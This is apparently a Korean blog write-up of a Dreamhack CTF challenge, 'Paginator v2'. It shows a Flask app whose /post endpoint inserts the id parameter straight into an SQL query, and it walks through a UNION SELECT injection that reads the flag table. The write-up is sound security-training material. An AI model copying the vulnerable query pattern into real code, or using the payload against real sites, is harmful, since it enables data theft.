포스트

드림핵 lv.1 - Paginator v2

드림핵 Paginator v2 웹해킹 워게임 풀이

드림핵 lv.1 - Paginator v2

https://dreamhack.io/wargame/challenges/1810

문제 설명

이 문제는 제 30회 해킹캠프 박기범 - 웹 해킹의 첫 발걸음 실습 플랫폼에 출제된 문제입니다.

페이지를 보여주는 시스템이에요.
숨겨진 내용도 있다고요?
찾아주세요… ;(

플래그 형식은 HACKCAMP{...} 입니다.


문제 풀이

코드 분석

해당 문제에서 제공하는 파일들은 총 4개이다. app.py, docker-compose.yml, Dockerfile, 그리고 flag.
flag에는 당연히 진짜 플래그는 존재하지 않는다. app.py를 제외한 나머지 2개의 파일은 서버 설정 파일이라 중요하지 않다.

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from flask import Flask, request, g
import sqlite3

app = Flask(__name__)
DATABASE = 'db.db'

FLAG = open("flag", "r", encoding="utf-8").read().strip()

def get_db():
    db = getattr(g, "_database", None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    return db

def init_db():
    db = get_db()
    try:
        db.execute("""
            CREATE TABLE IF NOT EXISTS posts (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                title TEXT,
                content TEXT
            )
        """)

        db.execute("""
            CREATE TABLE IF NOT EXISTS flag (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                secret_flag TEXT
            )
        """)

        db.executescript("""
            INSERT INTO posts (title, content) VALUES ('Welcome', 'This is the first post!');
            INSERT INTO posts (title, content) VALUES ('About', 'This is an about page.');
            INSERT INTO posts (title, content) VALUES ('Contact', 'Contact us at admin@example.com');
        """)

        db.execute("INSERT OR IGNORE INTO flag (id, secret_flag) VALUES (1, ?)", (FLAG,))
        db.commit()
    except Exception as e:
        print("[ERROR] Database initialization failed:", e)

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, "_database", None)
    if db is not None:
        db.close()


@app.route('/')
def index():
    return "<strong>/post</strong> pls!<br>pls like and subscribe my post lol xd"

@app.route('/post')
def post():
    post_id = request.args.get("id", "")

    if not post_id:
        return "Missing post ID."

    try:
        db = get_db()
        query = f"SELECT title, content FROM posts WHERE id = {post_id}"
        result = db.execute(query)
        row = result.fetchone()

        if row:
            return f"<h2>{row[0]}</h2><p>{row[1]}</p>"
        else:
            return "Post not found."
    except Exception as e:
        return f"Database Error: {e}"

if __name__ == '__main__':
    with app.app_context():
        init_db()
    app.run(host="0.0.0.0", port=31004)

서버의 주 축을 담당하는 app.py 코드이다. main 파트를 보면 init_db() 함수로 서버가 실행되면 데이터베이스 하나가 새로 만들어지고 기본 값들이 입력된다.

1
2
3
4
5
6
7
        db.executescript("""
            INSERT INTO posts (title, content) VALUES ('Welcome', 'This is the first post!');
            INSERT INTO posts (title, content) VALUES ('About', 'This is an about page.');
            INSERT INTO posts (title, content) VALUES ('Contact', 'Contact us at admin@example.com');
        """)

        db.execute("INSERT OR IGNORE INTO flag (id, secret_flag) VALUES (1, ?)", (FLAG,))

총 만들어지는 테이블의 수는 2개이다. postsflag.
그리고 각 테이블이 가지는 기본 값은 위와 같다. flag라는 테이블에 FLAG 값이 들어가기 때문에 우리의 목표는 flag 테이블에 접근하여 값을 가져오는 것이다.

취약점

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@app.route('/post')
def post():
    post_id = request.args.get("id", "")

    if not post_id:
        return "Missing post ID."

    try:
        db = get_db()
        query = f"SELECT title, content FROM posts WHERE id = {post_id}"
        result = db.execute(query)
        row = result.fetchone()

        if row:
            return f"<h2>{row[0]}</h2><p>{row[1]}</p>"
        else:
            return "Post not found."
    except Exception as e:
        return f"Database Error: {e}"

app.py를 살펴보면 아래쪽에 /post 엔드 포인트를 처리하는 코드가 보인다. url에서 id 값을 가져와서 해당 id와 매치하는 포스트를 출력하는 코드이다.
하지만 여기서 유저로부터 받은 post_id가 필터링이 되지않고 곧바로 SQL 쿼리 문에 들어가기 때문에 SQL injection 공격이 발생할 수 있다.

최종 풀이

우리는 여기서 f"SELECT title, content FROM posts WHERE id = {post_id}"가 flag 테이블 값을 출력하도록 유도해야 한다.

결론부터 이야기하자면 최종 쿼리는 다음과 같다.

1
SELECT title, content FROM posts WHERE id = 1 UNION SELECT null, (SELECT secret_flag FROM flag WHERE id = 1)

그러므로 post_idUNION SELECT null, (SELECT secret_flag FROM flag WHERE id = 1)가 된다는 말이다.

UNION을 이용하면 두 번째 쿼리의 값이 첫 번째로 덮어씌워진다.
쿼리 SELECT title, content FROM posts WHERE id = 1는 title로 “Welcome”, content로 “This is the first post!”를 가지는 데이터를 하나 가져온다는 의미이다.

이때 UNION을 사용해서 titlenull로 만들고 content를 (SELECT secret_flag FROM flag WHERE id = 1)로 치환하여 플래그를 얻는 원리이다.

컬럼 이름으로 secret_flag나 flag의 id가 1이라는 정보들은 init_db() 함수를 잘 살펴보면 알 수 있다.

1
2
3
None // title

HACKCAMP{redacted} // content

url 칸에 /post?id="UNION QUERY"를 입력하면 이런식으로 플래그가 출력되는 것을 알 수 있다.

배운 것

SQL 배운지 오래됐는데 오랜만에 UNION SELECT에 대해 다시 공부할 수있는 기회가 됐다.

이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.